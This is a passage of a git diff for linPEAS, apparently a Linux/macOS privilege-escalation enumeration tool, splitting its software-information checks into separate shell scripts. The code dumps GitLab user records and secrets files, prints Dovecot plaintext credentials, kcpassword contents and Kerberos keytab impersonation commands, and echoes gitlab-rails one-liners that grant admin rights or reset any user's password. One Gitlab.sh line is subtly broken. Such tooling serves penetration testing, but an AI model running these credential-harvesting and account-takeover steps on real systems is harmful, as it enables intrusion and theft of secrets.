')' ')' ')' 2>/dev/null | while read f; do - echo "Other user screen socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW}," - done - echo "" -fi - -#-- SI) Tmux sessions -tmuxdefsess=$(tmux ls 2>/dev/null) -tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep) -tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null) -if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Searching tmux sessions"$N - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions" - tmux -V - printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m," - - find /tmp -type s -path "/tmp/tmux*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do - echo "Other user tmux socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW}," - done - echo "" -fi - -peass{CouchDB} - -peass{Redis} - -#-- SI) Dovecot -# Needs testing -dovecotpass=$(grep -r "PLAIN" /etc/dovecot 2>/dev/null) -if [ "$dovecotpass" ] || [ "$DEBUG" ]; then - print_2title "Searching dovecot files" - if [ -z "$dovecotpass" ]; then - echo_not_found "dovecot credentials" - else - printf "%s\n" "$dovecotpass" | while read d; do - df=$(echo $d |cut -d ':' -f1) - dp=$(echo $d |cut -d ':' -f2-) - echo "Found possible PLAIN text creds in $df" - echo "$dp" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null - done - fi - echo "" -fi - -peass{Mosquitto} - -peass{Neo4j} - -AWSVAULT="$(command -v aws-vault 2>/dev/null)" -if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then - print_2title "Check aws-vault" - aws-vault list -fi - -peass{Cloud Credentials} - -peass{Cloud Init} - -peass{CloudFlare} - -peass{Erlang} - -peass{GMV Auth} - -peass{IPSec} - -peass{IRSSI} - -peass{Keyring} - -peass{Filezilla} - -peass{Backup Manager} - -##-- SI) passwd files (splunk) -SPLUNK_BIN="$(command -v splunk 2>/dev/null)" -if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then - print_2title "Searching uncommon passwd files (splunk)" - if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi - printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do - if [ -f "$f" ] && ! [ -x "$f" ]; then - echo "passwd file: $f" | sed "s,$f,${SED_RED}," - cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED}," - fi - done - echo "" -fi - -if [ "$PSTORAGE_KCPASSWORD" ] || [ "$DEBUG" ]; then - print_2title "Analyzing kcpassword files" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#kcpassword" - printf "%s\n" "$PSTORAGE_KCPASSWORD" | while read f; do - echo "$f" | sed -${E} "s,.*,${SED_RED}," - base64 "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," - done - echo "" -fi - -##-- SI) Gitlab -if [ "$(command -v gitlab-rails)" ] || [ "$(command -v gitlab-backup)" ] || [ "$PSTORAGE_GITLAB" ] || [ "$DEBUG" ]; then - print_2title "Searching GitLab related files" - # Check gitlab-rails - if [ "$(command -v gitlab-rails)" ]; then - echo "gitlab-rails was found. Trying to dump users..." - gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${SED_RED}," - echo "If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner 'user = User.find_by(email: \"youruser@example.com\"); user.admin = TRUE; user.save!'" - echo "Alternatively, you could change the password of any user by running: gitlab-rails runner 'user = User.find_by(email: \"admin@example.com\"); user.password = \"pass_peass_pass\"; user.password_confirmation = \"pass_peass_pass\"; user.save!'" - echo "" - fi - if [ "$(command -v gitlab-backup)" ]; then - echo "If you have enough privileges, you can create a backup of all the repositories inside gitlab using 'gitlab-backup create'" - echo "Then you can get the plain-text with something like 'git clone \@hashed/19/23/14348274[...]38749234.bundle'" - echo "" - fi - # Check gitlab files - printf "%s\n" "$PSTORAGE_GITLAB" | sort | uniq | while read f; do - if echo $f | grep -q secrets.yml; then - echo "Found $f" | sed "s,$f,${SED_RED}," - cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" - elif echo $f | grep -q gitlab.yml; then - echo "Found $f" | sed "s,$f,${SED_RED}," - cat "$f" | grep -A 4 "repositories:" - elif echo $f | grep -q gitlab.rb; then - echo "Found $f" | sed "s,$f,${SED_RED}," - cat "$f" | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,email|user|password,${SED_RED}," - fi - echo "" - done - echo "" -fi - -peass{Github} - -peass{Svn} - -peass{PGP-GPG} - -peass{Cache Vi} - -peass{Wget} - -##-- SI) containerd installed -if ! [ "$SEARCH_IN_FOLDER" ]; then - containerd=$(command -v ctr) - if [ "$containerd" ] || [ "$DEBUG" ]; then - print_2title "Checking if containerd(ctr) is available" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation" - if [ "$containerd" ]; then - echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," - ctr image list 2>&1 - fi - echo "" - fi -fi - -##-- SI) runc installed -if ! [ "$SEARCH_IN_FOLDER" ]; then - runc=$(command -v runc) - if [ "$runc" ] || [ "$DEBUG" ]; then - print_2title "Checking if runc is available" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation" - if [ "$runc" ]; then - echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," - fi - echo "" - fi -fi - -#-- SI) Docker -if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then - print_2title "Searching docker files (limit 70)" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation" - printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do - ls -l "$f" 2>/dev/null - if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then - echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," - fi - done - echo "" -fi - -peass{Kubernetes} - -peass{Firefox} - -peass{Chrome} - -peass{Autologin} - -#-- SI) S/Key athentication -if (grep auth= /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q skey) || [ "$DEBUG" ] ; then - print_2title "S/Key authentication" - printf "System supports$RED S/Key$NC authentication\n" - if ! [ -d /etc/skey/ ]; then - echo "${GREEN}S/Key authentication enabled, but has not been initialized" - elif ! [ "$IAMROOT" ] && [ -w /etc/skey/ ]; then - echo "${RED}/etc/skey/ is writable by you" - ls -ld /etc/skey/ - else - ls -ld /etc/skey/ 2>/dev/null - fi -fi -echo "" - -#-- SI) YubiKey athentication -if (grep "auth=" /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q yubikey) || [ "$DEBUG" ]; then - print_2title "YubiKey authentication" - printf "System supports$RED YubiKey$NC authentication\n" - if ! [ "$IAMROOT" ] && [ -w /var/db/yubikey/ ]; then - echo "${RED}/var/db/yubikey/ is writable by you" - ls -ld /var/db/yubikey/ - else - ls -ld /var/db/yubikey/ 2>/dev/null - fi - echo "" -fi - -peass{SNMP} - -peass{Pypirc} - -peass{Postfix} - -peass{Ldaprc} - -peass{Env} - -peass{Msmtprc} - -peass{Keepass} - -peass{FTP} - -peass{EXTRA_SECTIONS} - -peass{Interesting logs} - -peass{Windows} - -peass{Other Interesting} - -if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then - print_2title "Checking leaks in git repositories" - printf "%s\n" "$PSTORAGE_GITHUB" | while read f; do - if echo "$f" | grep -Eq ".git$"; then - git_dirname=$(dirname "$f") - if [ "$MACPEAS" ]; then - execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_MACOS" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'" - else - execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_LINUX" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'" - fi - fi - done -fi diff --git a/linPEAS/builder/linpeas_parts/7_software_information/1_Useful_software.sh b/linPEAS/builder/linpeas_parts/7_software_information/1_Useful_software.sh new file mode 100644 index 0000000..001bb2e --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/1_Useful_software.sh @@ -0,0 +1,20 @@ +# Title: Software Information - Useful Software +# ID: SI_Useful_software +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Useful Software +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $SEARCH_IN_FOLDER, $USEFUL_SOFTWARE +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Useful software" + for t in $USEFUL_SOFTWARE; do command -v "$t" || echo -n ''; done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/2_Compilers.sh b/linPEAS/builder/linpeas_parts/7_software_information/2_Compilers.sh new file mode 100644 index 0000000..d6a037d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/2_Compilers.sh @@ -0,0 +1,32 @@ +# Title: Software Information - Compilers +# ID: SI_Compilers +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Search for compilers +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Installed Compilers" + (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"); + echo "" + + if [ "$(command -v pkg 2>/dev/null || echo -n '')" ]; then + print_2title "Vulnerable Packages" + pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g" + echo "" + fi + + if [ "$(command -v brew 2>/dev/null || echo -n '')" ]; then + print_2title "Brew Installed Packages" + brew list + echo "" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/3_Macos_writable_installed_apps.sh b/linPEAS/builder/linpeas_parts/7_software_information/3_Macos_writable_installed_apps.sh new file mode 100644 index 0000000..08033c4 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/3_Macos_writable_installed_apps.sh @@ -0,0 +1,29 @@ +# Title: Software Information - MacOS writable Installed Applications +# ID: SI_Macos_writable_installed_apps +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Writable Installed Applications +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $MACPEAS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ]; then + print_2title "Writable Installed Applications" + system_profiler SPApplicationsDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do + if [ -w "$f" ]; then + echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g" + fi + done + + system_profiler SPFrameworksDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do + if [ -w "$f" ]; then + echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g" + fi + done +fi diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Apache_nginx.sh b/linPEAS/builder/linpeas_parts/7_software_information/Apache_nginx.sh new file mode 100644 index 0000000..73dab21 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Apache_nginx.sh @@ -0,0 +1,16 @@ +# Title: Software Information - Apache-Nginx +# ID: SI_Apache_nginx +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Apache-Nginx +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_3title, warn_exec +# Global Variables: $NGINX_KNOWN_MODULES +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +peass{Apache-Nginx} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Awsvault.sh b/linPEAS/builder/linpeas_parts/7_software_information/Awsvault.sh new file mode 100644 index 0000000..f2dc5d3 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Awsvault.sh @@ -0,0 +1,20 @@ +# Title: Software Information - Check aws-vault +# ID: SI_Awsvault +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check aws-vault +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: $AWSVAULT +# Fat linpeas: 0 +# Small linpeas: 1 + + +AWSVAULT="$(command -v aws-vault 2>/dev/null || echo -n '')" +if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then + print_2title "Check aws-vault" + aws-vault list +fi diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Cached_AD_hashes.sh b/linPEAS/builder/linpeas_parts/7_software_information/Cached_AD_hashes.sh new file mode 100644 index 0000000..4dca8cf --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Cached_AD_hashes.sh @@ -0,0 +1,21 @@ +# Title: Software Information - Cached AD Hashes +# ID: SI_Cached_AD_hashes +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Cached AD Hashes +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: $adhashes +# Fat linpeas: 0 +# Small linpeas: 1 + + +adhashes=$(ls "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null) +if [ "$adhashes" ] || [ "$DEBUG" ]; then + print_2title "Searching AD cached hashes" + ls -l "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Containerd.sh b/linPEAS/builder/linpeas_parts/7_software_information/Containerd.sh new file mode 100644 index 0000000..dfde81f --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Containerd.sh @@ -0,0 +1,27 @@ +# Title: Software Information - containerd installed +# ID: SI_Containerd +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: containerd installed +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $DEBUG, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: $containerd +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + containerd=$(command -v ctr || echo -n '') + if [ "$containerd" ] || [ "$DEBUG" ]; then + print_2title "Checking if containerd(ctr) is available" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation" + if [ "$containerd" ]; then + echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," + ctr image list 2>&1 + fi + echo "" + fi +fi diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Docker.sh b/linPEAS/builder/linpeas_parts/7_software_information/Docker.sh new file mode 100644 index 0000000..60f57d3 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Docker.sh @@ -0,0 +1,26 @@ +# Title: Software Information - Docker +# ID: SI_Docker +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Docker +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $DEBUG, $IAMROOT +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then + print_2title "Searching docker files (limit 70)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation" + printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do + ls -l "$f" 2>/dev/null + if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then + echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + fi + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Dovecot.sh b/linPEAS/builder/linpeas_parts/7_software_information/Dovecot.sh new file mode 100644 index 0000000..98fa471 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Dovecot.sh @@ -0,0 +1,31 @@ +# Title: Software Information - Dovecot +# ID: SI_Dovecot +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Dovecot +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: $dovecotpass, $dp, $df +# Fat linpeas: 0 +# Small linpeas: 1 + + +# Needs testing +dovecotpass=$(grep -r "PLAIN" /etc/dovecot 2>/dev/null) +if [ "$dovecotpass" ] || [ "$DEBUG" ]; then + print_2title "Searching dovecot files" + if [ -z "$dovecotpass" ]; then + echo_not_found "dovecot credentials" + else + printf "%s\n" "$dovecotpass" | while read d; do + df=$(echo $d |cut -d ':' -f1) + dp=$(echo $d |cut -d ':' -f2-) + echo "Found possible PLAIN text creds in $df" + echo "$dp" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null + done + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Extra_software.sh b/linPEAS/builder/linpeas_parts/7_software_information/Extra_software.sh new file mode 100644 index 0000000..e5c7754 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Extra_software.sh @@ -0,0 +1,16 @@ +# Title: Software Information - Extra sotftare +# ID: SI_Extra_software +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Add all the extra software checks from build_lists/sensitive_files.yaml that doesn't have linpeas disabled +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_3title, warn_exec +# Global Variables: $NGINX_KNOWN_MODULES +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +peass{EXTRA_SECTIONS} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/FreeIPA.sh b/linPEAS/builder/linpeas_parts/7_software_information/FreeIPA.sh new file mode 100644 index 0000000..d428db4 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/FreeIPA.sh @@ -0,0 +1,16 @@ +# Title: Software Information - FreeIPA +# ID: SI_FreeIPA +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: FreeIPA +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_info +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +peass{FreeIPA} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Gitlab.sh b/linPEAS/builder/linpeas_parts/7_software_information/Gitlab.sh new file mode 100644 index 0000000..c42372c --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Gitlab.sh @@ -0,0 +1,46 @@ +# Title: Software Information - Gitlab +# ID: SI_Gitlab +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Searching GitLab related files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$(command -v gitlab-rails || echo -n '')" ] || [ "$(command -v gitlab-backup || echo -n '')" ] || [ "$PSTORAGE_GITLAB" ] || [ "$DEBUG" ]; then + print_2title "Searching GitLab related files" + #Check gitlab-rails + if [ "$(command -v gitlab-rails || echo -n '')" ]; then + echo "gitlab-rails was found. Trying to dump users..." + gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${SED_RED}," + echo "If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner 'user = User.find_by(email: \"youruser@example.com\"); user.admin = TRUE; user.save!'" + echo "Alternatively, you could change the password of any user by running: gitlab-rails runner 'user = User.find_by(email: \"admin@example.com\"); user.password = \"pass_peass_pass\"; user.password_confirmation = \"pass_peass_pass\"; user.save!'" + echo "" + fi + if [ "$(command -v gitlab-backup || echo -n '')" ]; then + echo "If you have enough privileges, you can create a backup of all the repositories inside gitlab using 'gitlab-backup create'" + echo "Then you can get the plain-text with something like 'git clone \@hashed/19/23/14348274[...]38749234.bundle'" + echo "" + fi + #Check gitlab files + printf "%s\n" "$PSTORAGE_GITLAB" | sort | uniq | while read f; do + if echo $f | grep -q secrets.yml; then + echo "Found $f" | sed "s,$f,${SED_RED}," + cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" + elif echo $f | grep -q gitlab.yml; then + echo "Found $f" | sed "s,$f,${SED_RED}," + cat "" | grep -A 4 "repositories:" + elif echo $f | grep -q gitlab.rb; then + echo "Found $f" | sed "s,$f,${SED_RED}," + cat "$f" | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,email|user|password,${SED_RED}," + fi + echo "" + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Kcpassword.sh b/linPEAS/builder/linpeas_parts/7_software_information/Kcpassword.sh new file mode 100644 index 0000000..f6dd17f --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Kcpassword.sh @@ -0,0 +1,24 @@ +# Title: Software Information - kcpassword +# ID: SI_Kcpassword +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Analyzing kcpassword files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$PSTORAGE_KCPASSWORD" ] || [ "$DEBUG" ]; then + print_2title "Analyzing kcpassword files" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#kcpassword" + printf "%s\n" "$PSTORAGE_KCPASSWORD" | while read f; do + echo "$f" | sed -${E} "s,.*,${SED_RED}," + base64 "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Kerberos.sh b/linPEAS/builder/linpeas_parts/7_software_information/Kerberos.sh new file mode 100644 index 0000000..4efeb27 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Kerberos.sh @@ -0,0 +1,71 @@ +# Title: Software Information - Kerberos +# ID: SI_Kerberos +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Kerberos +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $DEBUG, $ITALIC +# Initial Functions: +# Generated Global Variables: $kadmin_exists, $klist_exists, $kinit_exists, $ptrace_scope +# Fat linpeas: 0 +# Small linpeas: 1 + + +kadmin_exists="$(command -v kadmin || echo -n '')" +klist_exists="$(command -v klist || echo -n '')" +kinit_exists="$(command -v kinit || echo -n '')" +if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then + print_2title "Searching kerberos conf files and tickets" + print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory" + + if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi + if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi + if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi + ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" + if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g"; + else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g"; + fi + + (env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g" + + printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do + if [ -r "$f" ]; then + if echo "$f" | grep -q .k5login; then + echo ".k5login file (users with access to the user who has this file in his home)" + cat "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" + elif echo "$f" | grep -q keytab; then + echo "" + echo "keytab file found, you may be able to impersonate some kerberos principals and add users or modify passwords" + klist -k "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" + printf "$(klist -k $f 2>/dev/null)\n" | awk '{print $2}' | while read l; do + if [ "$l" ] && echo "$l" | grep -q "@"; then + printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${SED_RED},g" + #kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid + #We could also try to create a new user or modify a password, but I'm not user if linpeas should do that + fi + done + elif echo "$f" | grep -q krb5.conf; then + ls -l "$f" + cat "$f" 2>/dev/null | sed -${E} "s,default_ccache_name,${SED_RED},"; + elif echo "$f" | grep -q kadm5.acl; then + ls -l "$f" + cat "$f" 2>/dev/null + elif echo "$f" | grep -q sssd.conf; then + ls -l "$f" + cat "$f" 2>/dev/null | sed -${E} "s,cache_credentials ?= ?[tT][rR][uU][eE],${SED_RED},"; + elif echo "$f" | grep -q secrets.ldb; then + echo "You could use SSSDKCMExtractor to extract the tickets stored here" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},"; + ls -l "$f" + elif echo "$f" | grep -q .secrets.mkey; then + echo "This is the secrets file to use with SSSDKCMExtractor" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},"; + ls -l "$f" + fi + fi + done + ls -l "/tmp/krb5cc*" "/var/lib/sss/db/ccache_*" "/etc/opt/quest/vas/host.keytab" 2>/dev/null || echo_not_found "tickets kerberos" + klist 2>/dev/null || echo_not_found "klist" + echo "" + +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Leaks_git_repo.sh b/linPEAS/builder/linpeas_parts/7_software_information/Leaks_git_repo.sh new file mode 100644 index 0000000..ac28b70 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Leaks_git_repo.sh @@ -0,0 +1,30 @@ +# Title: Software Information - Checking leaks in git repositories +# ID: SI_Leaks_git_repo +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Checking leaks in git repositories +# License: GNU GPL +# Version: 1.0 +# Functions Used: execBin, print_2title +# Global Variables: $MACPEAS, $TIMEOUT +# Initial Functions: +# Generated Global Variables: $git_dirname, $FAT_LINPEAS_GITLEAKS +# Fat linpeas: 1 +# Small linpeas: 0 + + +if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then + print_2title "Checking leaks in git repositories" + printf "%s\n" "$PSTORAGE_GITHUB" | while read f; do + if echo "$f" | grep -Eq ".git$"; then + git_dirname=$(dirname "$f") + if [ "$MACPEAS" ]; then + FAT_LINPEAS_GITLEAKS="peass{https://github.com/gitleaks/gitleaks/releases/download/v8.17.0/gitleaks_8.17.0_darwin_arm64.tar.gz}" + else + FAT_LINPEAS_GITLEAKS="peass{https://github.com/gitleaks/gitleaks/releases/download/v8.17.0/gitleaks_8.17.0_linux_x64.tar.gz}" + fi + execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'" + fi + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Log4shell.sh b/linPEAS/builder/linpeas_parts/7_software_information/Log4shell.sh new file mode 100644 index 0000000..6d84932 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Log4shell.sh @@ -0,0 +1,22 @@ +# Title: Software Information - Searching Log4Shell vulnerable libraries +# ID: SI_Log4shell +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Searching Log4Shell vulnerable libraries +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$PSTORAGE_LOG4SHELL" ] || [ "$DEBUG" ]; then + print_2title "Searching Log4Shell vulnerable libraries" + printf "%s\n" "$PSTORAGE_LOG4SHELL" | while read f; do + echo "$f" | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" | sed -${E} "s,log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6]),${SED_RED},"; + done + echo "" +fi \ No newline at end of file diff --git 